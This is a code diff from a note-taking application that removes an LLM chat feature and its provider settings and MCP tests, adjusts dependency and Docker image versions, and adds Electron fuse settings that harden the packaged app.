import { TypeWidgetProps } from "../type_widget.js";
import ChatInputBar from "./ChatInputBar.js";
import ChatMessage from "./ChatMessage.js";
import type { LlmChatContent } from "./llm_chat_types.js";
import { useLlmChat } from "./useLlmChat.js";
export default function LlmChat({ note, ntxId, noteContext }: TypeWidgetProps) {
const spacedUpdateRef = useRef<{ scheduleUpdate: () => void }>(null);
const chat = useLlmChat(
// onMessagesChange - trigger save
() => spacedUpdateRef.current?.scheduleUpdate(),
{ defaultEnableNoteTools: false, supportsExtendedThinking: true, chatNoteId: note?.noteId }
);
// Keep chatNoteId in sync when the note changes
useEffect(() => {
chat.setChatNoteId(note?.noteId);
}, [note?.noteId, chat.setChatNoteId]);
const spacedUpdate = useEditorSpacedUpdate({
note,
noteType: "llmChat",
noteContext,
getData: () => {
const content = chat.getContent();
return { content: JSON.stringify(content) };
},
onContentChange: (content) => {
if (!content) {
chat.clearMessages();
return;
}
try {
const parsed: LlmChatContent = JSON.parse(content);
chat.loadFromContent(parsed);
} catch (e) {
console.error("Failed to parse LLM chat content:", e);
chat.clearMessages();
}
}
});
spacedUpdateRef.current = spacedUpdate;
const triggerSave = useCallback(() => {
spacedUpdateRef.current?.scheduleUpdate();
}, []);
return (
<div className="llm-chat-container">
<div className="llm-chat-messages">
{chat.messages.length === 0 && !chat.isStreaming && (
<NoItems
icon="bx bx-conversation"
text={t("llm_chat.empty_state")}
/>
)}
{chat.messages.map(msg => (
<ChatMessage key={msg.id} message={msg} />
))}
{chat.toolActivity && !chat.streamingThinking && (
<div className="llm-chat-tool-activity">
<span className="llm-chat-tool-spinner" />
{chat.toolActivity}
</div>
)}
{chat.isStreaming && chat.streamingThinking && (
<ChatMessage
message={{
id: "streaming-thinking",
role: "assistant",
content: chat.streamingThinking,
createdAt: new Date().toISOString(),
type: "thinking"
}}
isStreaming
/>
)}
{chat.isStreaming && chat.streamingBlocks.length > 0 && (
<ChatMessage
message={{
id: "streaming",
role: "assistant",
content: chat.streamingBlocks,
createdAt: new Date().toISOString(),
citations: chat.pendingCitations.length > 0 ? chat.pendingCitations : undefined
}}
isStreaming
/>
)}
<div ref={chat.messagesEndRef} />
</div>
<ChatInputBar
chat={chat}
onWebSearchChange={triggerSave}
onNoteToolsChange={triggerSave}
onExtendedThinkingChange={triggerSave}
onModelChange={triggerSave}
/>
</div>
);
}

View File

@@ -1,80 +0,0 @@
import type { LlmCitation, LlmUsage } from "@triliumnext/commons";
export type MessageType = "message" | "error" | "thinking";
export interface ToolCall {
id: string;
toolName: string;
input: Record<string, unknown>;
result?: string;
isError?: boolean;
}
/** A block of text content (rendered as Markdown for assistant messages). */
export interface TextBlock {
type: "text";
content: string;
}
/** A tool invocation block shown inline in the message timeline. */
export interface ToolCallBlock {
type: "tool_call";
toolCall: ToolCall;
}
/** An ordered content block in an assistant message. */
export type ContentBlock = TextBlock | ToolCallBlock;
/**
* Extract the plain text from message content (works for both legacy string and block formats).
*/
export function getMessageText(content: string | ContentBlock[]): string {
if (typeof content === "string") {
return content;
}
return content
.filter((b): b is TextBlock => b.type === "text")
.map(b => b.content)
.join("");
}
/**
* Extract tool calls from message content blocks.
*/
export function getMessageToolCalls(message: StoredMessage): ToolCall[] {
// Legacy format: tool calls stored in separate field
if (message.toolCalls) {
return message.toolCalls;
}
// Block format: extract from content blocks
if (Array.isArray(message.content)) {
return message.content
.filter((b): b is ToolCallBlock => b.type === "tool_call")
.map(b => b.toolCall);
}
return [];
}
export interface StoredMessage {
id: string;
role: "user" | "assistant" | "system";
/** Message content: plain string (user messages, legacy) or ordered content blocks (assistant). */
content: string | ContentBlock[];
createdAt: string;
citations?: LlmCitation[];
/** Message type for special rendering. Defaults to "message" if omitted. */
type?: MessageType;
/** @deprecated Tool calls are now inline in content blocks. Kept for backward compatibility. */
toolCalls?: ToolCall[];
/** Token usage for this response */
usage?: LlmUsage;
}
export interface LlmChatContent {
version: 1;
messages: StoredMessage[];
selectedModel?: string;
enableWebSearch?: boolean;
enableNoteTools?: boolean;
enableExtendedThinking?: boolean;
}

View File

@@ -1,415 +0,0 @@
import type { LlmCitation, LlmMessage, LlmModelInfo, LlmUsage } from "@triliumnext/commons";
import { RefObject } from "preact";
import { useCallback, useEffect, useRef, useState } from "preact/hooks";
import { t } from "../../../services/i18n.js";
import { getAvailableModels, streamChatCompletion } from "../../../services/llm_chat.js";
import { randomString } from "../../../services/utils.js";
import type { ContentBlock, LlmChatContent, StoredMessage } from "./llm_chat_types.js";
export interface ModelOption extends LlmModelInfo {
costDescription?: string;
}
export interface LlmChatOptions {
/** Default value for enableNoteTools */
defaultEnableNoteTools?: boolean;
/** Whether extended thinking is supported */
supportsExtendedThinking?: boolean;
/** Initial context note ID (the note the user is viewing) */
contextNoteId?: string;
/** The chat note ID (used for auto-renaming on first message) */
chatNoteId?: string;
}
export interface UseLlmChatReturn {
// State
messages: StoredMessage[];
input: string;
isStreaming: boolean;
streamingContent: string;
streamingBlocks: ContentBlock[];
streamingThinking: string;
toolActivity: string | null;
pendingCitations: LlmCitation[];
availableModels: ModelOption[];
selectedModel: string;
enableWebSearch: boolean;
enableNoteTools: boolean;
enableExtendedThinking: boolean;
contextNoteId: string | undefined;
lastPromptTokens: number;
messagesEndRef: RefObject<HTMLDivElement>;
textareaRef: RefObject<HTMLTextAreaElement>;
/** Whether a provider is configured and available */
hasProvider: boolean;
/** Whether we're still checking for providers */
isCheckingProvider: boolean;
// Setters
setInput: (value: string) => void;
setMessages: (messages: StoredMessage[]) => void;
setSelectedModel: (model: string) => void;
setEnableWebSearch: (value: boolean) => void;
setEnableNoteTools: (value: boolean) => void;
setEnableExtendedThinking: (value: boolean) => void;
setContextNoteId: (noteId: string | undefined) => void;
setChatNoteId: (noteId: string | undefined) => void;
// Actions
handleSubmit: (e: Event) => Promise<void>;
handleKeyDown: (e: KeyboardEvent) => void;
loadFromContent: (content: LlmChatContent) => void;
getContent: () => LlmChatContent;
clearMessages: () => void;
/** Refresh the provider/models list */
refreshModels: () => void;
}
export function useLlmChat(
onMessagesChange?: (messages: StoredMessage[]) => void,
options: LlmChatOptions = {}
): UseLlmChatReturn {
const { defaultEnableNoteTools = false, supportsExtendedThinking = false, contextNoteId: initialContextNoteId, chatNoteId: initialChatNoteId } = options;
const [messages, setMessagesInternal] = useState<StoredMessage[]>([]);
const [input, setInput] = useState("");
const [isStreaming, setIsStreaming] = useState(false);
const [streamingContent, setStreamingContent] = useState("");
const [streamingBlocks, setStreamingBlocks] = useState<ContentBlock[]>([]);
const [streamingThinking, setStreamingThinking] = useState("");
const [toolActivity, setToolActivity] = useState<string | null>(null);
const [pendingCitations, setPendingCitations] = useState<LlmCitation[]>([]);
const [availableModels, setAvailableModels] = useState<ModelOption[]>([]);
const [selectedModel, setSelectedModel] = useState<string>("");
const [enableWebSearch, setEnableWebSearch] = useState(true);
const [enableNoteTools, setEnableNoteTools] = useState(defaultEnableNoteTools);
const [enableExtendedThinking, setEnableExtendedThinking] = useState(false);
const [contextNoteId, setContextNoteId] = useState<string | undefined>(initialContextNoteId);
const [chatNoteId, setChatNoteIdState] = useState<string | undefined>(initialChatNoteId);
const [lastPromptTokens, setLastPromptTokens] = useState<number>(0);
const [hasProvider, setHasProvider] = useState<boolean>(true); // Assume true initially
const [isCheckingProvider, setIsCheckingProvider] = useState<boolean>(true);
const messagesEndRef = useRef<HTMLDivElement>(null);
const textareaRef = useRef<HTMLTextAreaElement>(null);
// Refs to get fresh values in getContent (avoids stale closures)
const messagesRef = useRef(messages);
messagesRef.current = messages;
const selectedModelRef = useRef(selectedModel);
selectedModelRef.current = selectedModel;
const enableWebSearchRef = useRef(enableWebSearch);
enableWebSearchRef.current = enableWebSearch;
const enableNoteToolsRef = useRef(enableNoteTools);
enableNoteToolsRef.current = enableNoteTools;
const enableExtendedThinkingRef = useRef(enableExtendedThinking);
enableExtendedThinkingRef.current = enableExtendedThinking;
const chatNoteIdRef = useRef(chatNoteId);
chatNoteIdRef.current = chatNoteId;
const setChatNoteId = useCallback((noteId: string | undefined) => {
chatNoteIdRef.current = noteId;
setChatNoteIdState(noteId);
}, []);
const contextNoteIdRef = useRef(contextNoteId);
contextNoteIdRef.current = contextNoteId;
// Wrapper to call onMessagesChange when messages update
const setMessages = useCallback((newMessages: StoredMessage[]) => {
setMessagesInternal(newMessages);
onMessagesChange?.(newMessages);
}, [onMessagesChange]);
// Fetch available models on mount
const refreshModels = useCallback(() => {
setIsCheckingProvider(true);
getAvailableModels().then(models => {
const modelsWithDescription = models.map(m => ({
...m,
costDescription: m.costMultiplier ? `${m.costMultiplier}x` : undefined
}));
setAvailableModels(modelsWithDescription);
setHasProvider(models.length > 0);
setIsCheckingProvider(false);
if (!selectedModel) {
const defaultModel = models.find(m => m.isDefault) || models[0];
if (defaultModel) {
setSelectedModel(defaultModel.id);
}
}
}).catch(err => {
console.error("Failed to fetch available models:", err);
setHasProvider(false);
setIsCheckingProvider(false);
});
}, [selectedModel]);
useEffect(() => {
refreshModels();
}, []);
// Scroll to bottom when content changes
const scrollToBottom = useCallback(() => {
messagesEndRef.current?.scrollIntoView({ behavior: "smooth" });
}, []);
useEffect(() => {
scrollToBottom();
}, [messages, streamingContent, streamingThinking, toolActivity, scrollToBottom]);
// Load state from content object
const loadFromContent = useCallback((content: LlmChatContent) => {
setMessagesInternal(content.messages || []);
if (content.selectedModel) {
setSelectedModel(content.selectedModel);
}
if (typeof content.enableWebSearch === "boolean") {
setEnableWebSearch(content.enableWebSearch);
}
if (typeof content.enableNoteTools === "boolean") {
setEnableNoteTools(content.enableNoteTools);
}
if (supportsExtendedThinking && typeof content.enableExtendedThinking === "boolean") {
setEnableExtendedThinking(content.enableExtendedThinking);
}
// Restore last prompt tokens from the most recent message with usage
const lastUsage = [...(content.messages || [])].reverse().find(m => m.usage)?.usage;
setLastPromptTokens(lastUsage?.promptTokens ?? 0);
}, [supportsExtendedThinking]);
// Get current state as content object (uses refs to avoid stale closures)
const getContent = useCallback((): LlmChatContent => {
const content: LlmChatContent = {
version: 1,
messages: messagesRef.current,
selectedModel: selectedModelRef.current || undefined,
enableWebSearch: enableWebSearchRef.current,
enableNoteTools: enableNoteToolsRef.current
};
if (supportsExtendedThinking) {
content.enableExtendedThinking = enableExtendedThinkingRef.current;
}
return content;
}, [supportsExtendedThinking]);
const clearMessages = useCallback(() => {
setMessages([]);
setLastPromptTokens(0);
}, [setMessages]);
const handleSubmit = useCallback(async (e: Event) => {
e.preventDefault();
if (!input.trim() || isStreaming) return;
setToolActivity(null);
setPendingCitations([]);
const userMessage: StoredMessage = {
id: randomString(),
role: "user",
content: input.trim(),
createdAt: new Date().toISOString()
};
const newMessages = [...messages, userMessage];
setMessagesInternal(newMessages);
setInput("");
setIsStreaming(true);
setStreamingContent("");
setStreamingBlocks([]);
setStreamingThinking("");
let thinkingContent = "";
const contentBlocks: ContentBlock[] = [];
const citations: LlmCitation[] = [];
let usage: LlmUsage | undefined;
/** Get or create the last text block to append streaming text to. */
function lastTextBlock(): ContentBlock & { type: "text" } {
const last = contentBlocks[contentBlocks.length - 1];
if (last?.type === "text") {
return last;
}
const block: ContentBlock = { type: "text", content: "" };
contentBlocks.push(block);
return block as ContentBlock & { type: "text" };
}
const apiMessages: LlmMessage[] = newMessages.map(m => ({
role: m.role,
content: typeof m.content === "string" ? m.content : m.content
.filter((b): b is ContentBlock & { type: "text" } => b.type === "text")
.map(b => b.content)
.join("")
}));
const selectedModelProvider = availableModels.find(m => m.id === selectedModel)?.provider;
const streamOptions: Parameters<typeof streamChatCompletion>[1] = {
model: selectedModel || undefined,
provider: selectedModelProvider,
enableWebSearch,
enableNoteTools,
contextNoteId,
chatNoteId: chatNoteIdRef.current
};
if (supportsExtendedThinking) {
streamOptions.enableExtendedThinking = enableExtendedThinking;
}
await streamChatCompletion(
apiMessages,
streamOptions,
{
onChunk: (text) => {
lastTextBlock().content += text;
setStreamingContent(contentBlocks
.filter((b): b is ContentBlock & { type: "text" } => b.type === "text")
.map(b => b.content)
.join(""));
setStreamingBlocks([...contentBlocks]);
setToolActivity(null);
},
onThinking: (text) => {
thinkingContent += text;
setStreamingThinking(thinkingContent);
setToolActivity(t("llm_chat.thinking"));
},
onToolUse: (toolName, toolInput) => {
const toolLabel = toolName === "web_search"
? t("llm_chat.searching_web")
: `Using ${toolName}...`;
setToolActivity(toolLabel);
contentBlocks.push({
type: "tool_call",
toolCall: {
id: randomString(),
toolName,
input: toolInput
}
});
setStreamingBlocks([...contentBlocks]);
},
onToolResult: (toolName, result, isError) => {
// Find the most recent tool_call block for this tool without a result
for (let i = contentBlocks.length - 1; i >= 0; i--) {
const block = contentBlocks[i];
if (block.type === "tool_call" && block.toolCall.toolName === toolName && !block.toolCall.result) {
block.toolCall.result = result;
block.toolCall.isError = isError;
break;
}
}
setStreamingBlocks([...contentBlocks]);
},
onCitation: (citation) => {
citations.push(citation);
setPendingCitations([...citations]);
},
onUsage: (u) => {
usage = u;
setLastPromptTokens(u.promptTokens);
},
onError: (errorMsg) => {
console.error("Chat error:", errorMsg);
const errorMessage: StoredMessage = {
id: randomString(),
role: "assistant",
content: errorMsg,
createdAt: new Date().toISOString(),
type: "error"
};
const finalMessages = [...newMessages, errorMessage];
setMessages(finalMessages);
setStreamingContent("");
setStreamingBlocks([]);
setStreamingThinking("");
setIsStreaming(false);
setToolActivity(null);
},
onDone: () => {
const finalNewMessages: StoredMessage[] = [];
if (thinkingContent) {
finalNewMessages.push({
id: randomString(),
role: "assistant",
content: thinkingContent,
createdAt: new Date().toISOString(),
type: "thinking"
});
}
if (contentBlocks.length > 0) {
finalNewMessages.push({
id: randomString(),
role: "assistant",
content: contentBlocks,
createdAt: new Date().toISOString(),
citations: citations.length > 0 ? citations : undefined,
usage
});
}
if (finalNewMessages.length > 0) {
const allMessages = [...newMessages, ...finalNewMessages];
setMessages(allMessages);
}
setStreamingContent("");
setStreamingBlocks([]);
setStreamingThinking("");
setPendingCitations([]);
setIsStreaming(false);
setToolActivity(null);
}
}
);
}, [input, isStreaming, messages, selectedModel, enableWebSearch, enableNoteTools, enableExtendedThinking, contextNoteId, supportsExtendedThinking, setMessages]);
const handleKeyDown = useCallback((e: KeyboardEvent) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
handleSubmit(e);
}
}, [handleSubmit]);
return {
// State
messages,
input,
isStreaming,
streamingContent,
streamingBlocks,
streamingThinking,
toolActivity,
pendingCitations,
availableModels,
selectedModel,
enableWebSearch,
enableNoteTools,
enableExtendedThinking,
contextNoteId,
lastPromptTokens,
messagesEndRef,
textareaRef,
hasProvider,
isCheckingProvider,
// Setters
setInput,
setMessages,
setSelectedModel,
setEnableWebSearch,
setEnableNoteTools,
setEnableExtendedThinking,
setContextNoteId,
setChatNoteId,
// Actions
handleSubmit,
handleKeyDown,
loadFromContent,
getContent,
clearMessages,
refreshModels
};
}

View File

@@ -1,125 +0,0 @@
import { useCallback, useMemo, useState } from "preact/hooks";
import { t } from "../../../services/i18n";
import Button from "../../react/Button";
import FormCheckbox from "../../react/FormCheckbox";
import OptionsSection from "./components/OptionsSection";
import AddProviderModal, { type LlmProviderConfig, PROVIDER_TYPES } from "./llm/AddProviderModal";
import ActionButton from "../../react/ActionButton";
import dialog from "../../../services/dialog";
import { useTriliumOption, useTriliumOptionBool } from "../../react/hooks";
export default function LlmSettings() {
const [providersJson, setProvidersJson] = useTriliumOption("llmProviders");
const providers = useMemo<LlmProviderConfig[]>(() => {
try {
return providersJson ? JSON.parse(providersJson) : [];
} catch {
return [];
}
}, [providersJson]);
const setProviders = useCallback((newProviders: LlmProviderConfig[]) => {
setProvidersJson(JSON.stringify(newProviders));
}, [setProvidersJson]);
const [showAddModal, setShowAddModal] = useState(false);
const handleAddProvider = useCallback((newProvider: LlmProviderConfig) => {
setProviders([...providers, newProvider]);
}, [providers, setProviders]);
const handleDeleteProvider = useCallback(async (providerId: string, providerName: string) => {
if (!(await dialog.confirm(t("llm.delete_provider_confirmation", { name: providerName })))) {
return;
}
setProviders(providers.filter(p => p.id !== providerId));
}, [providers, setProviders]);
return (
<>
<OptionsSection title={t("llm.settings_title")}>
<p className="form-text">{t("llm.settings_description")}</p>
<Button
size="small"
icon="bx bx-plus"
text={t("llm.add_provider")}
onClick={() => setShowAddModal(true)}
/>
<hr />
<h5>{t("llm.configured_providers")}</h5>
<ProviderList
providers={providers}
onDelete={handleDeleteProvider}
/>
<AddProviderModal
show={showAddModal}
onHidden={() => setShowAddModal(false)}
onSave={handleAddProvider}
/>
</OptionsSection>
<McpSettings />
</>
);
}
function McpSettings() {
const [mcpEnabled, setMcpEnabled] = useTriliumOptionBool("mcpEnabled");
return (
<OptionsSection title={t("llm.mcp_title")}>
<p className="form-text">{t("llm.mcp_enabled_description")}</p>
<FormCheckbox
name="mcp-enabled"
label={t("llm.mcp_enabled")}
currentValue={mcpEnabled}
onChange={setMcpEnabled}
/>
</OptionsSection>
);
}
interface ProviderListProps {
providers: LlmProviderConfig[];
onDelete: (providerId: string, providerName: string) => Promise<void>;
}
function ProviderList({ providers, onDelete }: ProviderListProps) {
if (!providers.length) {
return <div>{t("llm.no_providers_configured")}</div>;
}
return (
<div style={{ overflow: "auto" }}>
<table className="table table-stripped">
<thead>
<tr>
<th>{t("llm.provider_name")}</th>
<th>{t("llm.provider_type")}</th>
<th>{t("llm.actions")}</th>
</tr>
</thead>
<tbody>
{providers.map((provider) => {
const providerType = PROVIDER_TYPES.find(p => p.id === provider.provider);
return (
<tr key={provider.id}>
<td>{provider.name}</td>
<td>{providerType?.name || provider.provider}</td>
<td>
<ActionButton
icon="bx bx-trash"
text={t("llm.delete_provider")}
onClick={() => onDelete(provider.id, provider.name)}
/>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
);
}

View File

@@ -1,108 +0,0 @@
import { createPortal } from "preact/compat";
import { useState, useRef } from "preact/hooks";
import Modal from "../../../react/Modal";
import FormGroup from "../../../react/FormGroup";
import FormSelect from "../../../react/FormSelect";
import FormTextBox from "../../../react/FormTextBox";
import { t } from "../../../../services/i18n";
export interface LlmProviderConfig {
id: string;
name: string;
provider: string;
apiKey: string;
}
export interface ProviderType {
id: string;
name: string;
}
export const PROVIDER_TYPES: ProviderType[] = [
{ id: "anthropic", name: "Anthropic" },
{ id: "openai", name: "OpenAI" },
{ id: "google", name: "Google Gemini" }
];
interface AddProviderModalProps {
show: boolean;
onHidden: () => void;
onSave: (provider: LlmProviderConfig) => void;
}
export default function AddProviderModal({ show, onHidden, onSave }: AddProviderModalProps) {
const [selectedProvider, setSelectedProvider] = useState(PROVIDER_TYPES[0].id);
const [apiKey, setApiKey] = useState("");
const formRef = useRef<HTMLFormElement>(null);
function handleSubmit() {
if (!apiKey.trim()) {
return;
}
const providerType = PROVIDER_TYPES.find(p => p.id === selectedProvider);
const newProvider: LlmProviderConfig = {
id: `${selectedProvider}_${Date.now()}`,
name: providerType?.name || selectedProvider,
provider: selectedProvider,
apiKey: apiKey.trim()
};
onSave(newProvider);
resetForm();
onHidden();
}
function resetForm() {
setSelectedProvider(PROVIDER_TYPES[0].id);
setApiKey("");
}
function handleCancel() {
resetForm();
onHidden();
}
return createPortal(
<Modal
show={show}
onHidden={handleCancel}
onSubmit={handleSubmit}
formRef={formRef}
title={t("llm.add_provider_title")}
className="add-provider-modal"
size="md"
footer={
<>
<button type="button" className="btn btn-secondary" onClick={handleCancel}>
{t("llm.cancel")}
</button>
<button type="submit" className="btn btn-primary" disabled={!apiKey.trim()}>
{t("llm.add_provider")}
</button>
</>
}
>
<FormGroup name="provider-type" label={t("llm.provider_type")}>
<FormSelect
values={PROVIDER_TYPES}
keyProperty="id"
titleProperty="name"
currentValue={selectedProvider}
onChange={setSelectedProvider}
/>
</FormGroup>
<FormGroup name="api-key" label={t("llm.api_key")}>
<FormTextBox
type="password"
currentValue={apiKey}
onChange={setApiKey}
placeholder={t("llm.api_key_placeholder")}
autoFocus
/>
</FormGroup>
</Modal>,
document.body
);
}

View File

@@ -19,15 +19,15 @@ if (isDev) {
plugins = [
viteStaticCopy({
targets: assets.map((asset) => ({
src: `src/${asset}/**/*`,
dest: asset,
rename: { stripBase: 2 }
src: `src/${asset}/*`,
dest: asset
}))
}),
viteStaticCopy({
structured: true,
targets: [
{
src: "../../node_modules/@excalidraw/excalidraw/dist/prod/fonts/**/*",
src: "../../node_modules/@excalidraw/excalidraw/dist/prod/fonts/*",
dest: "",
}
]

View File

@@ -5,7 +5,7 @@
"description": "Tool to compare content of Trilium databases. Useful for debugging sync problems.",
"dependencies": {
"colors": "1.4.0",
"diff": "8.0.4",
"diff": "8.0.3",
"sqlite": "5.1.1",
"sqlite3": "6.0.1"
},

View File

@@ -1,4 +1,6 @@
import { FusesPlugin } from "@electron-forge/plugin-fuses";
import type { ForgeConfig } from "@electron-forge/shared-types";
import { FuseV1Options, FuseVersion } from "@electron/fuses";
import { LOCALES } from "@triliumnext/commons";
import { existsSync } from "fs";
import fs from "fs-extra";
@@ -166,7 +168,24 @@ const config: ForgeConfig = {
{
name: "@electron-forge/plugin-auto-unpack-natives",
config: {}
}
},
new FusesPlugin({
version: FuseVersion.V1,
// Security: Disable RunAsNode to prevent local attackers from launching
// the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
// This prevents TCC bypass / prompt spoofing attacks on macOS and
// "living off the land" privilege escalation on all platforms.
[FuseV1Options.RunAsNode]: false,
// Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
// variables to prevent injection of arbitrary Node.js runtime options.
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
// Security: Disable --inspect and --inspect-brk CLI arguments to prevent
// debugger protocol exposure that could enable remote code execution.
[FuseV1Options.EnableNodeCliInspectArguments]: false,
// Security: Only allow loading the app from the ASAR archive to prevent
// loading of unverified code from alternative file paths.
[FuseV1Options.OnlyLoadAppFromAsar]: true,
}),
],
hooks: {
// Remove unused locales from the packaged app to save some space.

View File

@@ -15,7 +15,6 @@
"start-no-dir": "cross-env TRILIUM_PORT=37743 tsx ../../scripts/electron-start.mts src/main.ts",
"build": "tsx scripts/build.ts",
"start-prod": "pnpm build && cross-env TRILIUM_DATA_DIR=data TRILIUM_PORT=37841 ELECTRON_IS_DEV=0 electron dist",
"start-prod-no-dir": "pnpm build && cross-env TRILIUM_PORT=37841 ELECTRON_IS_DEV=0 electron dist",
"electron-forge:make": "pnpm build && electron-forge make dist",
"electron-forge:make-flatpak": "pnpm build && DEBUG=* electron-forge make dist --targets=@electron-forge/maker-flatpak",
"electron-forge:package": "pnpm build && electron-forge package dist",
@@ -28,15 +27,15 @@
"electron-debug": "4.1.0",
"electron-dl": "4.0.0",
"electron-squirrel-startup": "1.0.1",
"jquery.fancytree": "2.38.5",
"jquery-hotkeys": "0.2.2"
"jquery-hotkeys": "0.2.2",
"jquery.fancytree": "2.38.5"
},
"devDependencies": {
"@types/electron-squirrel-startup": "1.0.2",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.0",
"electron": "41.0.3",
"@electron-forge/cli": "7.11.1",
"@electron-forge/maker-deb": "7.11.1",
"@electron-forge/maker-dmg": "7.11.1",
@@ -45,6 +44,13 @@
"@electron-forge/maker-squirrel": "7.11.1",
"@electron-forge/maker-zip": "7.11.1",
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
"@electron-forge/plugin-fuses": "7.11.1",
"@electron/fuses": "1.8.0",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "13.0.1",
"electron": "40.4.1",
"prebuild-install": "7.1.3"
}
}

View File

@@ -12,7 +12,7 @@
"@triliumnext/desktop": "workspace:*",
"@types/fs-extra": "11.0.4",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.0",
"electron": "41.0.3",
"fs-extra": "11.3.4"
},
"scripts": {

View File

@@ -1,4 +1,4 @@
FROM node:24.14.1-bullseye-slim AS builder
FROM node:24.14.0-bullseye-slim AS builder
RUN corepack enable
# Install native dependencies since we might be building cross-platform.
@@ -7,7 +7,7 @@ COPY ./docker/package.json ./docker/pnpm-workspace.yaml /usr/src/app/
# We have to use --no-frozen-lockfile due to CKEditor patches
RUN pnpm install --no-frozen-lockfile --prod && pnpm rebuild
FROM node:24.14.1-bullseye-slim
FROM node:24.14.0-bullseye-slim
# Install only runtime dependencies
RUN apt-get update && \
apt-get install -y --no-install-recommends \

View File

@@ -1,4 +1,4 @@
FROM node:24.14.1-alpine AS builder
FROM node:24.14.0-alpine AS builder
RUN corepack enable
# Install native dependencies since we might be building cross-platform.
@@ -7,7 +7,7 @@ COPY ./docker/package.json ./docker/pnpm-workspace.yaml /usr/src/app/
# We have to use --no-frozen-lockfile due to CKEditor patches
RUN pnpm install --no-frozen-lockfile --prod && pnpm rebuild
FROM node:24.14.1-alpine
FROM node:24.14.0-alpine
# Install runtime dependencies
RUN apk add --no-cache su-exec shadow

View File

@@ -1,4 +1,4 @@
FROM node:24.14.1-alpine AS builder
FROM node:24.14.0-alpine AS builder
RUN corepack enable
# Install native dependencies since we might be building cross-platform.
@@ -7,7 +7,7 @@ COPY ./docker/package.json ./docker/pnpm-workspace.yaml /usr/src/app/
# We have to use --no-frozen-lockfile due to CKEditor patches
RUN pnpm install --no-frozen-lockfile --prod && pnpm rebuild
FROM node:24.14.1-alpine
FROM node:24.14.0-alpine
# Create a non-root user with configurable UID/GID
ARG USER=trilium
ARG UID=1001

View File

@@ -1,4 +1,4 @@
FROM node:24.14.1-bullseye-slim AS builder
FROM node:24.14.0-bullseye-slim AS builder
RUN corepack enable
# Install native dependencies since we might be building cross-platform.
@@ -7,7 +7,7 @@ COPY ./docker/package.json ./docker/pnpm-workspace.yaml /usr/src/app/
# We have to use --no-frozen-lockfile due to CKEditor patches
RUN pnpm install --no-frozen-lockfile --prod && pnpm rebuild
FROM node:24.14.1-bullseye-slim
FROM node:24.14.0-bullseye-slim
# Create a non-root user with configurable UID/GID
ARG USER=trilium
ARG UID=1001

View File

@@ -30,11 +30,6 @@
"proxy-nginx-subdir": "docker run --name trilium-nginx-subdir --rm --network=host -v ./docker/nginx.conf:/etc/nginx/conf.d/default.conf:ro nginx:latest"
},
"dependencies": {
"@ai-sdk/anthropic": "3.0.64",
"@ai-sdk/google": "3.0.54",
"@ai-sdk/openai": "3.0.49",
"@modelcontextprotocol/sdk": "^1.12.1",
"ai": "6.0.142",
"better-sqlite3": "12.8.0",
"html-to-text": "9.0.5",
"node-html-parser": "7.1.0",
@@ -75,7 +70,7 @@
"@types/xml2js": "0.4.14",
"archiver": "7.0.1",
"async-mutex": "0.5.0",
"axios": "1.14.0",
"axios": "1.13.6",
"bindings": "1.5.0",
"bootstrap": "5.3.8",
"chardet": "2.1.1",
@@ -88,14 +83,14 @@
"debounce": "3.0.0",
"debug": "4.4.3",
"ejs": "5.0.1",
"electron": "41.1.0",
"electron": "41.0.3",
"electron-debug": "4.1.0",
"electron-window-state": "5.0.3",
"escape-html": "1.0.3",
"express": "5.2.1",
"express-http-proxy": "2.1.2",
"express-openid-connect": "2.20.1",
"express-rate-limit": "8.3.2",
"express-openid-connect": "2.19.4",
"express-rate-limit": "8.3.1",
"express-session": "1.19.0",
"file-uri-to-path": "2.0.0",
"fs-extra": "11.3.4",
@@ -104,9 +99,9 @@
"html2plaintext": "2.1.4",
"http-proxy-agent": "8.0.0",
"https-proxy-agent": "8.0.0",
"i18next": "25.10.10",
"i18next": "25.10.3",
"i18next-fs-backend": "2.6.1",
"image-type": "6.1.0",
"image-type": "6.0.0",
"ini": "6.0.0",
"is-animated": "2.0.2",
"is-svg": "6.1.0",
@@ -131,7 +126,7 @@
"tmp": "0.2.5",
"turnish": "1.8.0",
"unescape": "1.0.1",
"vite": "8.0.3",
"vite": "8.0.1",
"ws": "8.20.0",
"xml2js": "0.6.2",
"yauzl": "3.2.1"

View File

@@ -1,160 +0,0 @@
import { Application } from "express";
import { beforeAll, describe, expect, it } from "vitest";
import supertest from "supertest";
import { createNote, login } from "./utils.js";
import config from "../../src/services/config.js";
import becca from "../../src/becca/becca.js";
import optionService from "../../src/services/options.js";
import cls from "../../src/services/cls.js";
let app: Application;
let token: string;
const USER = "etapi";
const MCP_ACCEPT = "application/json, text/event-stream";
/** Builds a JSON-RPC 2.0 request body for MCP. */
function jsonRpc(method: string, params?: Record<string, unknown>, id: number = 1) {
return { jsonrpc: "2.0", id, method, params };
}
/** Parses the JSON-RPC response from an SSE response text. */
function parseSseResponse(text: string) {
const dataLine = text.split("\n").find(line => line.startsWith("data: "));
if (!dataLine) {
throw new Error(`No SSE data line found in response: ${text}`);
}
return JSON.parse(dataLine.slice("data: ".length));
}
function mcpPost(app: Application) {
return supertest(app)
.post("/mcp")
.set("Accept", MCP_ACCEPT)
.set("Content-Type", "application/json");
}
function setOption(name: Parameters<typeof optionService.setOption>[0], value: string) {
cls.init(() => optionService.setOption(name, value));
}
describe("mcp", () => {
beforeAll(async () => {
config.General.noAuthentication = false;
const buildApp = (await (import("../../src/app.js"))).default;
app = await buildApp();
token = await login(app);
});
describe("option gate", () => {
it("rejects requests when mcpEnabled is false", async () => {
setOption("mcpEnabled", "false");
const response = await mcpPost(app)
.send(jsonRpc("initialize"))
.expect(403);
expect(response.body.error).toContain("disabled");
});
it("rejects requests when mcpEnabled option does not exist", async () => {
const saved = becca.options["mcpEnabled"];
delete becca.options["mcpEnabled"];
try {
const response = await mcpPost(app)
.send(jsonRpc("initialize"))
.expect(403);
expect(response.body.error).toContain("disabled");
} finally {
becca.options["mcpEnabled"] = saved;
}
});
